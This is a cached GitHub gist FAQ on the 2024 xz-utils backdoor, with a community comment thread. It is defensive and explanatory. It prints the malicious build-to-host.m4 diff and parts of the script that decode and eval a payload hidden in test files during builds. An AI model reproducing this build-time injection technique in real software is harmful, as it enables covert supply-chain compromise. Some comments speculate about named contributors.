This is a cache of https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27. It is a snapshot of the page at 2024-03-31T00:44:31.886+0000.
xz-utils backdoor situation · GitHub
Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active March 31, 2024 00:39
Star You must be signed in to star a gist
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation

FAQ on the xz-utils backdoor

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is still a new situation. There is a lot we don't know. We don't know if there are more possible exploit paths. We only know about this one path. Please update your systems regardless. Unknown unknowns are safer than known unknowns.

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't know much about what's going on.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.
  • It may activate in other scenarios too, possibly even unrelated to ssh.
  • We don't know what the payload is intended to do. We are investigating.
  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils has two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago.

Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux, even compared to the rest of this. It's early days yet.

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

  • libarchive is being checked out:

  • google/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils

    • It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.
    • Note that IFUNC is a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.

References

@cw-alexcroteau
Copy link

cw-alexcroteau commented Mar 30, 2024

if no port is open for ssh, so it was only accessible internally, it is unlikely that someone attacked me, right? (if ssh is the only case)

@TheRsKing based on current knowledge, that's correct. The vulnerability would be triggered by a specific payload with a given public key being sent to an exposed sshd, it doesn't "phone home" to a C2 server.

@TebosBrime
Copy link

How can we prevent this from happening again in the future? Look at the origin of this attack. Xz developer was working a lot, unpayed, and with health problems. Attacker noticed it and exploited the weak point in a human being. Meanwhile, society in general keep sending billions of dollars to Microsoft, but nothing to such important projects as XZ. If we as a society do not help each other, this is meant to be repeated over and over again. My condolences to xz developer. Good luck.

Not only that. I can also imagine that some developers would be tempted by money. Especially if the attacker is state-sponsored, this would definitely be a conceivable scenario that should be considered for the future.

@wryMitts
Copy link

Review on libarchive 3.6.2 (Windows 11 affected) libarchive/libarchive@02cfa8a
dev quote is meaningful:

If not malicious, I'd say on track to be.

@thesamesam
Copy link
Author

@wryMitts I will add a link to libarchive/libarchive#2103 where the review of possibly affected commits is being coordinated.

@zacanger
Copy link

zacanger commented Mar 30, 2024

@smallxu038

This command can check whether Docker containers are running the affected version of xz.

docker ps -aq | xargs -I {} docker exec {} sh -c 'xz --version || echo "xz not found"' 2>/dev/null

Clearly, this incident has deepened prejudice and discrimination against Chinese people. I would rather believe that it is a pseudonym for an organization, not a real person :(

China has 1.4 billion people and some of the top tech companies and universities in the world. We all use Chinese code every day. So whether it's a pseudoynm or not doesn't matter; if anyone's suddenly Sinophobic because of this, they were already Sinophobic, so I wouldn't worry about it.

@DoctorWho8

I wonder if Slackware-15.0 and Slackware 64 15.0 is vulnerable?

Unlikely based on what's been figured out so far, unless you manually installed a later version than is available in the repos, and also got SystemD working.

@LaRevoltage
Copy link

@thesamesam
Copy link
Author

@LaRevoltage Already linked in the FAQ itself now.

@LaRevoltage
Copy link

https://gynvael.coldwind.pl/?id=782

Someone put a lot of effort for this to be pretty innocent looking and decently hidden. From binary test files used to store payload, to file carving, substitution ciphers, and an RC4 variant implemented in AWK all done with just standard command line tools. And all this in 3 stages of execution, and with an "extension" system to future-proof things and not have to change the binary test files again. I can't help but wonder (as I'm sure is the rest of our security community) – if this was found by accident, how many things still remain undiscovered

Once again, this just excludes a possibility of a developer going nuts over the hard work. It has to be a sponsored attack by 3d party organisation

@LaRevoltage
Copy link

@LaRevoltage Already linked in the FAQ itself now.

Oh, sorry, it wasn't updated for quite some time

@thesamesam
Copy link
Author

A man has to rest! No problem. I would rather people show stuff as they find it.

@panchoh
Copy link

panchoh commented Mar 30, 2024

That's wrong. It is very very likely that Jia Tan is just a fake identity. We cannot decide the one/ones behind Jia Tan.

Probably the San-Ti.

Sorry, but after two days of this I had to do it.

@brlin-tw
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@Z-nonymous
Copy link

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

@cw-alexcroteau
Copy link

cw-alexcroteau commented Mar 30, 2024

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

@Z-nonymous WSL runs regular Linux distributions, with some level of patches. Afaik Ubuntu in WSL includes the regular set of packages, so there's a potential that the affected sshd version is installed just like on a "regular" Linux installation. I've personally used sshd and had to work with systemd in wsl2, so I think it would be safer for people to verify their installation to ensure the backdoored version isn't installed. Of course, it is just present in testing versions for now, and that would apply the same way on WSL.

@GoodMirek
Copy link

GoodMirek commented Mar 30, 2024

Lasse Collin has started making commits to xz, removing another malicious commit blocking a Landlock sandbox:

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

Here's the malicious commit that disabled the Landlock sandbox.
https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7

Credit for noticing it: @joeyh@hachyderm.io, @cschabetsberger@mstdn.social

@KFERMercer
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@brlin-tw

he just use the word "likely", why you makes opposition in this hurry?

what kind of "conclusions" you just disagreed actually?

@Z-nonymous
Copy link

In the light of: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

The payload is extracted from the N value (the public key) passed to RSA_public_decrypt, checked against a simple fingerprint, and decrypted with a fixed ChaCha20 key before the Ed448 signature verification.

Can someone explain to me this PR openssl/openssl#23301
"LoongArch64: Fix PR #22817 introduced performance regression of ChaCha20"
submitted by someone with little activity, reviewed xry111 and then:

xry111

My approve is useless anyway :(. We need to collect 3 approves from the OpenSSL maintainers AFAIU.

@t8m :

2 approves are sufficient.

Then @slontis approves.

It's an assembly change

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

@Z-nonymous I'm not sure what your point is there... xry111 just misunderstood whatever the OpenSSL procedure is. t8m and slontis are both well-known, longstanding members of the OpenSSL team. xry111 and xen0n are both maintainers of some of the loong ports in the kernel/toolchain and I'm not surprised they show up to review other changes to core packages where the changes are specific to loong...

Also, while it would obviously not make any possible malicious activity okay, loong isn't exactly a big target. Not sure it would really be worth the effort, although I guess maybe during the porting period would be the best time to sneak stuff in.

In any case, to me, this looks a bit like a witch-hunt against two people who are Chinese.

I have no knowledge of the loong ISA to re-review it, but I don't really see any evidence it's merited either.

@duracell
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@brlin-tw

he just use the word "likely", why you makes opposition in this hurry?

what kind of "conclusions" you just disagreed actually?

I'm not a native speaker, but I also understand "likely" as the chances are higher that "the guy isn't Chinese". Which is just not possible to say.
So maybe the wording is just confusing for (at least) some people or it's wrong.

@TyrHeimdalEVE
Copy link

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

This primarily (at this point) seems to be leveraging hijacking a function for decrypting certificates to smuggle a payload to gain RCE, targeting OpenSSH via systemd dependency (liblzma) as the vector.

@schkwve
Copy link

schkwve commented Mar 30, 2024

Lasse Collin has started making commits to xz, removing another malicious commit blocking a Landlock sandbox:

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

Here's the malicious commit that disabled the Landlock sandbox. https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7

Do I understand correctly that a single dot prevented the code snippet to compile and therefore disabled the landlock sandbox?
Do snippets that fail to build trigger a warning or something? If so, how come nobody has noticed this before?

@thesamesam
Copy link
Author

@schkwve It only affected the CMake build which very few people use for xz at this point. It's still WIP and not encouraged for it I think. Also, landlock support is still pretty new in the kernel, but even newer in xz, so I wouldn't expect many to notice anyway.

@xry111
Copy link

xry111 commented Mar 30, 2024

In the light of: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

The payload is extracted from the N value (the public key) passed to RSA_public_decrypt, checked against a simple fingerprint, and decrypted with a fixed ChaCha20 key before the Ed448 signature verification.

Can someone explain to me this PR openssl/openssl#23301 "LoongArch64: Fix PR #22817 introduced performance regression of ChaCha20" submitted by someone with little activity, reviewed xry111 and then:

I made a stupid mistake in openssl/openssl#22817 and openssl/openssl#23301 fixes it. So I approved it quickly feeling guilty. But as I've explained my approve is useless, only the approves from OpenSSL maintainers count. I remembered 2 as 3 mistakenly though.

And my stupid mistake was "just" making it slower (the condition to use vector routine instead of scalar routine was wrong, thus scalar routine was always used regardless of input size). It's not a security issue. (Note that a Big-O regression may be considered a DoS, but in this case there's no Big-O regression.)

And, ChaCha20 is just an algorithm, both valid users and malicious users can use it. There is nothing in the change specifically favoring malicious uses. Making code faster benefits both valid users and malicious users, but nobody will reason like "to slow down malicious users let's make everything slow" for any algorithm except one-way hashes.

It's just like we know malicious attacker are using BSGS algorithm to hack RSA with too small keys, but every ICPC team is having BSGS algorithm in their code base. And it does not make ICPC same as CTF.

@thesamesam
Copy link
Author

Ah, I didn't realise it was fixing a previous commit of yours. In any case, my comments stand about it not being suspicious at all.

@erinacio
Copy link

Let alone it's loongarch64 assembly code. The machine code it produces just won't run and actually can't run on any x64 machine the xz backdoor targets to.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

Thank you.

@Z-nonymous I'm not sure what your point is there... xry111 just misunderstood whatever the OpenSSL procedure is. t8m and slontis are both well-known, longstanding members of the OpenSSL team.

Just asking if they really reviewed. for side effects

I don't say they submit faulty code _they might be sometimes on good faith wrongly approving stuff from a bad actor that ends up having side effects. that's why I noted the pure issue.
They maybe really want to push Loongson arch support and are played.

xry111 and xen0n are both maintainers of some of the loong ports in the kernel/toolchain and I'm not surprised they show up to review other changes to core packages where the changes are specific to loong...

I'm making correlations, asking advice. i.e. liblzma_la-crc64-fast.o is the backdoor as per https://gynvael.coldwind.pl/?id=782
xry111 was also commit code for LoongArch for CRC code in xv approved by JiaT75 in tukaani-project/xz#86

, loong isn't exactly a big target.

Well, I need to further investigate, there has been reviews from them in many code/functions modules that are in the analysis from thread in https://www.openwall.com/lists/oss-security/2024/03/29/4 that have been modified for LoongArch in some form
The breath of area they are contributing (comments, reviews, approvals, PRs) in that team is everywhere, Compilation, system services, ssl, crypto, kernel, localization, html, assembly, c, rust, node, nvm, dosbox,

They can't potentially know every possible implications of updates in such a large code base.

Again:
I don't say they submit faulty code _they might be sometimes on good faith wrongly approving stuff from a bad actor that ends up having side effect they don't apprehend.
I will review make-ca but maybe there are places

In any case, to me, this looks a bit like a witch-hunt against two people who are Chinese.

Do you know these people IRL ? Do you know the people they approve the PRs of ? How do you know any GH user is Chinese ? Only real police/federal/interpol investigation can determine that. Even then sometimes they could arrest someone who happened to have found a usb key in Latvia instead of a Russian agent.

I've worked with many Chinese colleages in research & engineering, they are as brilliant minds as anyone. I never implied anything Chinese-related, maybe my fault was trying to explain that Loongson is a Chinese CPU manufacturer for context. I even ever say they were actually from that company. I just assumed they implement support for it.

They might be played by people complaing about bad Loongson support, providing engineered reports, forcing to make changes they don't always understand the side effects.

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

Thank you.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Again thank you xry111 for the replies even though I would also like other maintainers input about their review.

@Z-nonymous
Copy link

Let alone it's loongarch64 assembly code. The machine code it produces just won't run and actually can't run on any x64 machine the xz backdoor targets to.

Right, on some other places it's just C defines that can be modified somehow at pre-processing stage to be enabled.

@erinacio
Copy link

erinacio commented Mar 30, 2024

I need to further investigate ...

Please stop pointless investigation unless you meet any of that:

  • you're a security expert and can audit the code on your own;
  • you know any potentially affected repos in depth so you can find any suspicious modification;
  • you can stop posting unsound suspicions here;

Please, as I indicated before, submit issues and discuss in each potentially affected repo there. This is more or less a news following-up gist. I only want to hear about the latest updates about the security incident.


Maybe you need an internet break more than larhzu does? The world is already aware of this issue and everyone related is working hard on it. The next time you check the security issue, it may already be sorted out.

@kam821
Copy link

kam821 commented Mar 31, 2024

Maybe you need an internet break more than larhzu does? The world is already aware of this issue and everyone related is working hard on it. The next time you check the security issue, it may already be sorted out.

+1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment